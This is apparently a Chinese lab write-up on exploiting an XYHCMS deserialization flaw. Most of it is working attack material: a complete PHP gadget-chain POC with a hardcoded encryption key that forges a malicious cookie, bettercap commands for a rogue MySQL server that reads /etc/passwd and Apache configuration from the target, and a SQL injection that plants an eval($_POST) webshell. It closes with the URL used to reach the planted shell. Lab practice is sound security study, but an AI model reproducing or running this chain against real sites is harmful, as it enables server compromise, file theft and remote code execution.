xyhcms反序列化
前言
前几天弄了一下暗月师傅的靶场,觉得这个挺有意思逐记录下来。
xyhcms
打开页面
然后网上找了个poc是这个师傅的文章
https://www.cnblogs.com/ShiLianA/articles/16657455.html
poc:
<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=192.168.0.23;dbname=xyhcms;port=3306",
"username" => "root",
"password" => "root"
);
}
namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0"
);
}
}
namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}
namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}
namespace Common\Lib;
class SysCrypt{
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = 'VjP8u3rZw';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = 'VjP8u3rZw';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
里面的加密的key需要目录遍历去App/Runtime/Data/d51694dcb61d76bef156076835ffd7e7_config/site.php
拿到key
启动一个恶意MySQL服务器
需要公网有这么一个服务来读文件
我是本地kali安装了bettercap
读/etc/passwd
bettercap -eval “set mysql.server.infile /etc/passwd; mysql.server on”
映射到公网
(这里是因为公网vps镜像安装bettercap死活出我问题,我这里就直接映射了,还有上面那篇文章还有 https://github.com/Gifts/Rogue-MySql-Server/tree/master 这种方法,感兴趣的师傅可以试试)
生成poc
host和port,填你对应的恶意mysql服务的公网地址和端口就行
再修改一下上文提到泄露的key,然后运行。
poc利用
先去注册一个会员,然后登录进去
进去之后,修改cookie处的nickname,也就是本次反序列的地方
然后就在这个页面刷新一下就好
然后就看到
当然目标不是为读一个passwd下面开始写shell
写webshell
首先,得先获得目标数据库配置文件,连上目标msyql才可以写
我们得先找到目标根路径,这里偷了个懒,用文章师傅的图,自己去下载cms下来也大概知道目录位置了
但是知道只能确认App/Common/Conf/db.php目录,绝对目录还是没有,网站用的apache可以,读/etc/httpd/conf/httpd.conf 来获取路径
重新开一下恶意mysql服务
bettercap -eval "set mysql.server.infile /etc/httpd/conf/httpd.conf; mysql.server on"
重开一下bettercap,刚才的会员页面刷新一下就可
可以看到很常见的 /var/www/html/ 得到完整目录/var/www/html/App/Common/Conf/db.php
也可以看到目录遍历的成因,在 Indexes前面加个-就可以解决这个问题
但其实用上文师傅文章中报错看日志会更好一些
读数据库配置文件
root:root@123 mysql账号:密码
修改poc,准备写shell
id=0; alter table xyh_guestbook add column `<script language='php'>eval(\$_POST[x]);</script>` varchar(10);
重新生成poc进行利用
需要访问在线留言触发一下
连接木马
http://x.x.x.223:8866/App/Runtime/Data/d51694dcb61d76bef156076835ffd7e7__fields/xyhcms.xyh_guestbook.php
结束
该反序列化链的挖掘的流程在这文章里
https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA
总结
这里浅谈一下大概流程
1.需要泄露出key
看完文章会清楚,有点shiro那种感觉,它是解密然后在反序列化的,现在新版本已经把目录做随机了,也就是没有目录遍历或其他方法泄露出key那就难以利用
2.开启一个恶意读文件的mysql服务
3.构造出poc,进行利用
4.读到数据库配置文件db.php
需要知道文件绝对目录
5.写webshell,先反序列化连接目标数据库,执行sql语句
6.因为是写到留言版的shell,需要去该页面触发一下(具体原理不太清楚)
7.直接通过目录遍历找到木马位置,进行连接webshell就行
总结:感觉到写shell这一步,目录遍历还是很重要的,要不然感觉利用还是有些许困难的。